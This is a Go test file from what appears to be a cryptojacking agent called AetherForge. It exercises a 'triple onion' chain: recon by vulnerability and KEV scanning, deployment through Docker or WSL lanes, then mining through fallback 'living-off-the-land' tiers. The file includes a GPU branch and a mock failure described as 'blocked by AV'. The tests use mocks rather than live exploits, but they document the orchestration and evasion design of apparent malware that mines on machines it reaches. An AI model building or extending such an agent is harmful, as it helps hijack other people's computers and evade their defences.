Files
AetherForge/agent/client/mining_chain_lifecycle_test.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

682 lines
20 KiB
Go

package client
import (
"context"
"encoding/json"
"errors"
"os/exec"
"runtime"
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
)
// ─── test helpers ─────────────────────────────────────────────────────────────
func miningChainTestClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
t.Helper()
if cfg.BuiltinConfig.Threads == 0 {
cfg.BuiltinConfig.Threads = 1
}
c := &AgentClient{
cfg: cfg,
reporter: stats.NewReporter(),
}
c.pool = miner.NewPool(1, cfg, c.reporter, nil)
c.pool.Start()
t.Cleanup(func() { c.pool.Stop() })
return c
}
func longRunningExecCmd() *exec.Cmd {
if runtime.GOOS == "windows" {
return exec.Command("ping", "-n", "600", "127.0.0.1")
}
return exec.Command("sleep", "600")
}
func quickExitExecCmd() *exec.Cmd {
if runtime.GOOS == "windows" {
return exec.Command("cmd", "/c", "exit", "0")
}
return exec.Command("true")
}
func setupFakeDockerRuntime(t *testing.T) {
t.Helper()
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
})
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
t.Cleanup(func() { miner.SetWSLDetector(nil) })
miner.SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
if len(args) > 0 && args[0] == "rm" {
return quickExitExecCmd()
}
return longRunningExecCmd()
})
t.Cleanup(func() { miner.SetContainerExecCommand(nil) })
}
func setupNoContainerRuntime(t *testing.T) {
t.Helper()
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
t.Cleanup(func() { miner.SetWSLDetector(nil) })
}
func baseMiningCfg() config.RuntimeConfig {
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "pool.example.com",
PoolPort: 3333,
Wallet: "XMR:test-wallet",
Threads: 1,
},
}
}
func installFastVulnProbe(t *testing.T, wallet string) {
t.Helper()
miner.SetVulnProbeRunner(func() miner.TierAttempt {
return miner.TierAttempt{Tier: miner.TierVulnProbe, OK: true, Wallet: wallet}
})
t.Cleanup(func() { miner.SetVulnProbeRunner(nil) })
}
func skipCtrlTierHooks(r *MiningChainRunner) {
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
RunTierProbes: func() miner.TierReport { return miner.TierReport{} },
RunTierChain: func() (miner.LOTLTier, error) { return "", miner.ErrTierChainSkipped },
})
}
func newTestMiningChainRunner(t *testing.T, c *AgentClient) *MiningChainRunner {
t.Helper()
installFastVulnProbe(t, c.cfg.Wallet)
r := c.newMiningChainRunner()
skipCtrlTierHooks(r)
return r
}
func onionPayloadShape(t *testing.T, report miner.TripleOnionReport, eventType string) map[string]interface{} {
t.Helper()
raw, err := json.Marshal(struct {
miner.TripleOnionReport
Event string `json:"event"`
}{
TripleOnionReport: report,
Event: eventType,
})
if err != nil {
t.Fatalf("marshal onion payload: %v", err)
}
var doc map[string]interface{}
if err := json.Unmarshal(raw, &doc); err != nil {
t.Fatalf("unmarshal onion payload: %v", err)
}
return doc
}
func tierPayloadShape(t *testing.T, report miner.TierReport, eventType string) map[string]interface{} {
t.Helper()
raw, err := json.Marshal(struct {
miner.TierReport
Event string `json:"event"`
}{
TierReport: report,
Event: eventType,
})
if err != nil {
t.Fatalf("marshal tier payload: %v", err)
}
var doc map[string]interface{}
if err := json.Unmarshal(raw, &doc); err != nil {
t.Fatalf("unmarshal tier payload: %v", err)
}
return doc
}
// ─── runner construction ───────────────────────────────────────────────────────
func TestMiningChainRunnerConstruction(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
if r == nil || r.client != c {
t.Fatal("expected runner bound to client")
}
if r.ctrl == nil {
t.Fatal("expected ChainController")
}
if r.tiers == nil {
t.Fatal("expected TierOrchestrator")
}
if r.onion == nil {
t.Fatal("expected TripleOnionOrchestrator")
}
order := r.ctrl.Status().ChainOrder
if len(order) == 0 {
t.Fatal("expected non-empty chain order")
}
if order[0] != miner.MethodInProcess {
t.Fatalf("without runtime want inprocess first, got %v", order)
}
}
// ─── start / stop / cooldown ─────────────────────────────────────────────────
func TestMiningChainRunnerStartStopCycle(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
r.startMiningCascade(ctx)
st := r.Status()
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("active=%q want inprocess", st.ActiveMethod)
}
if c.hostMiningDisabled.Load() {
t.Fatal("in-process path should not disable host mining")
}
r.Stop()
st = r.Status()
if st.ActiveMethod != "" {
t.Fatalf("after Stop active=%q want empty", st.ActiveMethod)
}
r.mu.Lock()
cancelled := r.monCancel == nil
r.mu.Unlock()
if !cancelled {
t.Fatal("Stop should clear monitor cancel func")
}
}
func TestMiningChainRunnerCooldownBetweenPasses(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
r := newTestMiningChainRunner(t, c)
attempts := 0
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartInProcess: func() error {
attempts++
return nil
},
})
ctx := context.Background()
if _, err := r.ctrl.TryChain(ctx); err != nil {
t.Fatalf("first TryChain: %v", err)
}
if _, err := r.ctrl.TryChain(ctx); err != nil {
t.Fatalf("second TryChain: %v", err)
}
if attempts != 1 {
t.Fatalf("cooldown attempts=%d want 1", attempts)
}
r.Restart(ctx)
if attempts != 2 {
t.Fatalf("Restart after cooldown attempts=%d want 2", attempts)
}
}
// ─── triple onion wire ordering ──────────────────────────────────────────────
func TestMiningChainRunnerTripleOnionPhaseOrdering(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
var phases []string
policy := miner.TripleOnionPolicy{
PatchFirst: false,
ReconTiers: []string{"kev_scan"},
DeployLanes: []string{"docker", "wsl"},
}
r.onion = miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
RunReconTier: func(_ context.Context, tier string) miner.ReconTierResult {
phases = append(phases, "recon:"+tier)
return miner.ReconTierResult{OK: true, Snapshot: miner.ReconSnapshot{RiskScore: 5}}
},
RunDeployLane: func(_ context.Context, lane string) (bool, string) {
phases = append(phases, "deploy:"+lane)
if lane == "docker" {
return true, "mock container ready"
}
return false, "skipped"
},
RunMining: func(_ context.Context) {
phases = append(phases, "mining")
},
ReportEvent: r.reportOnionEvent,
})
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
r.Start(ctx)
want := []string{"recon:kev_scan", "deploy:docker", "mining"}
if len(phases) != len(want) {
t.Fatalf("phases=%v want %v", phases, want)
}
for i := range want {
if phases[i] != want[i] {
t.Fatalf("phases[%d]=%q want %q full=%v", i, phases[i], want[i], phases)
}
}
}
// ─── tier hooks: container skip, inprocess, GPU parallel ────────────────────
func TestMiningChainRunnerContainerSkipsWithoutRuntime(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionContainer
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
st := r.Status()
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("active=%q want inprocess when container unavailable", st.ActiveMethod)
}
for _, m := range st.ChainOrder {
if m == miner.MethodContainer {
t.Fatalf("chain order must omit container without runtime: %v", st.ChainOrder)
}
}
}
func TestMiningChainRunnerContainerActiveWithMockRuntime(t *testing.T) {
setupFakeDockerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
c.tierPolicy = miner.MiningTierPolicy{
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
}
r := newTestMiningChainRunner(t, c)
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
st := r.Status()
if st.ActiveMethod != miner.MethodContainer {
t.Fatalf("active=%q want container", st.ActiveMethod)
}
if !c.hostMiningDisabled.Load() {
t.Fatal("container tier should disable host RandomX")
}
if c.containerMiner == nil || !c.containerMiner.Running() {
t.Fatal("expected mock container miner running")
}
}
func TestMiningChainRunnerInProcessPath(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
if c.hostMiningDisabled.Load() {
t.Fatal("in-process should keep host mining enabled")
}
if r.Status().ActiveMethod != miner.MethodInProcess {
t.Fatalf("active=%q want inprocess", r.Status().ActiveMethod)
}
}
func TestMiningChainRunnerGPUParallelBranch(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
cfg.GPUEnabled = true
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
gpuStarted := false
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartInProcess: func() error {
r.client.hostMiningDisabled.Store(false)
r.client.pool.ResumeRemote()
return nil
},
IsGPUSupported: func() bool { return true },
WebGPUReady: func() bool { return true },
StartGPU: func() error {
gpuStarted = true
r.ctrl.SetGPUActive(true)
return nil
},
})
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
st := r.Status()
if !gpuStarted {
t.Fatal("expected GPU parallel branch to start")
}
if !st.GPUParallel {
t.Fatalf("status gpu_parallel=false: %+v", st)
}
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("CPU primary=%q want inprocess", st.ActiveMethod)
}
for _, m := range st.ActiveMethods {
if m == miner.MethodGPUSubprocess {
return
}
}
t.Fatalf("active_methods=%v want gpu_subprocess", st.ActiveMethods)
}
func TestMiningChainRunnerGPUSkippedWhenUnsupported(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
cfg.GPUEnabled = true
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartInProcess: func() error {
r.client.hostMiningDisabled.Store(false)
r.client.pool.ResumeRemote()
return nil
},
IsGPUSupported: func() bool { return false },
})
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
if r.Status().GPUParallel {
t.Fatal("gpu_parallel should be false when IsGPUSupported is false")
}
}
// ─── reportOnionEvent / lotl_attempts payload shape ──────────────────────────
func TestMiningChainRunnerReportOnionEventPayloadShape(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
report := miner.TripleOnionReport{
ActivePhase: miner.OnionPhaseDeploy,
Gate: miner.GateDecision{SkipMining: false},
Recon: miner.ReconSnapshot{RiskScore: 12, ServiceCount: 3},
Attempts: []miner.TierAttempt{
{Phase: string(miner.OnionPhaseRecon), Tier: miner.TierVulnProbe, OK: true, Wallet: "XMR:test-wallet"},
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true, Wallet: "XMR:test-wallet", DurationMs: 42},
},
Wallet: "XMR:test-wallet",
}
r.reportOnionEvent(report, "onion_report")
doc := onionPayloadShape(t, report, "onion_report")
for _, key := range []string{"event", "onion_phase", "gate", "recon", "lotl_attempts", "wallet"} {
if _, ok := doc[key]; !ok {
t.Fatalf("onion payload missing key %q: %v", key, doc)
}
}
if doc["event"] != "onion_report" {
t.Fatalf("event=%v", doc["event"])
}
attempts, ok := doc["lotl_attempts"].([]interface{})
if !ok || len(attempts) != 2 {
t.Fatalf("lotl_attempts=%T len=%d", doc["lotl_attempts"], len(attempts))
}
first, ok := attempts[0].(map[string]interface{})
if !ok {
t.Fatalf("attempt[0] type=%T", attempts[0])
}
if first["phase"] != string(miner.OnionPhaseRecon) {
t.Fatalf("attempt phase=%v", first["phase"])
}
if first["wallet"] != "XMR:test-wallet" {
t.Fatalf("attempt wallet=%v", first["wallet"])
}
st := r.Status()
if len(st.LOTLAttempts) != 2 {
t.Fatalf("Status().LOTLAttempts=%d want 2", len(st.LOTLAttempts))
}
}
func TestMiningChainRunnerReportTierEventLotlAttempts(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
report := miner.TierReport{
ActiveTier: miner.TierCPUInprocess,
Attempts: []miner.TierAttempt{
{Tier: miner.TierWebView2Probe, OK: true, Wallet: "XMR:test-wallet", DurationMs: 10},
{Tier: miner.TierCPUInprocess, OK: true, Wallet: "XMR:test-wallet"},
},
WebGPUReady: true,
}
r.reportTierEvent(report, "tier_report")
doc := tierPayloadShape(t, report, "tier_report")
for _, key := range []string{"event", "lotl_tier", "lotl_attempts", "webgpu_ready"} {
if _, ok := doc[key]; !ok {
t.Fatalf("tier payload missing key %q: %v", key, doc)
}
}
if doc["lotl_tier"] != string(miner.TierCPUInprocess) {
t.Fatalf("lotl_tier=%v", doc["lotl_tier"])
}
st := r.Status()
if st.LOTLTier != miner.TierCPUInprocess {
t.Fatalf("Status lotl_tier=%q", st.LOTLTier)
}
if len(st.LOTLAttempts) < 2 {
t.Fatalf("Status lotl_attempts=%v", st.LOTLAttempts)
}
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("tier event should set primary active=%q", st.ActiveMethod)
}
}
func TestMiningChainRunnerStatusMergesOnionAttempts(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
r.mu.Lock()
r.onionAttempts = []miner.TierAttempt{
{Phase: string(miner.OnionPhaseRecon), Tier: "kev_scan", OK: true},
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true},
}
r.mu.Unlock()
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
st := r.Status()
if len(st.LOTLAttempts) < 3 {
t.Fatalf("merged attempts=%d want >=3: %v", len(st.LOTLAttempts), st.LOTLAttempts)
}
if st.LOTLAttempts[0].Phase != string(miner.OnionPhaseRecon) {
t.Fatalf("first attempt phase=%q", st.LOTLAttempts[0].Phase)
}
}
// ─── mining disabled / ApkMode skips chain ───────────────────────────────────
func TestMiningChainSkipsWhenMiningDisabled(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MiningDisabled = true
c := miningChainTestClient(t, cfg)
c.connected.Store(true)
c.miningChain = newTestMiningChainRunner(t, c)
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
defer cancel()
c.startMiningWhenReady(ctx)
if r := c.miningChain.Status(); r.ActiveMethod != "" {
t.Fatalf("mining disabled should not start chain, active=%q", r.ActiveMethod)
}
}
func TestMiningChainSkipsApkMode(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.ApkMode = true
c := miningChainTestClient(t, cfg)
c.connected.Store(true)
c.miningChain = newTestMiningChainRunner(t, c)
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
defer cancel()
c.startMiningWhenReady(ctx)
if r := c.miningChain.Status(); r.ActiveMethod != "" {
t.Fatalf("apk mode should not start chain, active=%q", r.ActiveMethod)
}
}
// ─── error paths: tier failure advances, exhausted chain ───────────────────
func TestMiningChainRunnerTierFailureAdvancesToInProcess(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
containerCalls := 0
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartContainer: func() error {
containerCalls++
return errors.New("mock container start blocked by AV")
},
StartInProcess: func() error {
r.client.hostMiningDisabled.Store(false)
r.client.pool.ResumeRemote()
return nil
},
IsGPUSupported: func() bool { return false },
})
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess})
ctx := context.Background()
if _, err := r.ctrl.TryChain(ctx); err != nil {
t.Fatalf("TryChain: %v", err)
}
defer r.Stop()
if containerCalls == 0 {
t.Fatal("expected container tier attempt before advance")
}
st := r.Status()
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("active=%q want inprocess after container failure", st.ActiveMethod)
}
if len(st.FailedMethods) == 0 || st.FailedMethods[0].Method != miner.MethodContainer {
t.Fatalf("failures=%v want container failure recorded", st.FailedMethods)
}
}
func TestMiningChainRunnerAdvancePrimaryFromUnhealthyContainer(t *testing.T) {
setupFakeDockerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
c.tierPolicy = miner.MiningTierPolicy{
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
}
r := newTestMiningChainRunner(t, c)
ctx := context.Background()
r.startMiningCascade(ctx)
if r.Status().ActiveMethod != miner.MethodContainer {
t.Fatalf("setup active=%q want container", r.Status().ActiveMethod)
}
if c.containerMiner != nil {
c.containerMiner.Stop()
}
if c.containerMiner != nil && c.containerMiner.Running() {
t.Fatal("container should be stopped")
}
r.ctrl.AdvancePrimary("container workload exited or unhealthy")
st := r.Status()
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("after advance active=%q want inprocess", st.ActiveMethod)
}
r.Stop()
}
func TestMiningChainRunnerExhaustedChainState(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
r := newTestMiningChainRunner(t, c)
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartInProcess: func() error {
return errors.New("mock in-process RandomX unavailable")
},
})
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodInProcess})
ctx := context.Background()
_, err := r.ctrl.TryChain(ctx)
if err == nil {
t.Fatal("expected TryChain error when all primaries fail")
}
st := r.Status()
if !st.ChainExhausted {
t.Fatal("expected chain_exhausted flag")
}
if st.ActiveMethod != "" {
t.Fatalf("active=%q want empty when exhausted", st.ActiveMethod)
}
if len(st.FailedMethods) != 1 || st.FailedMethods[0].Method != miner.MethodInProcess {
t.Fatalf("failures=%v", st.FailedMethods)
}
}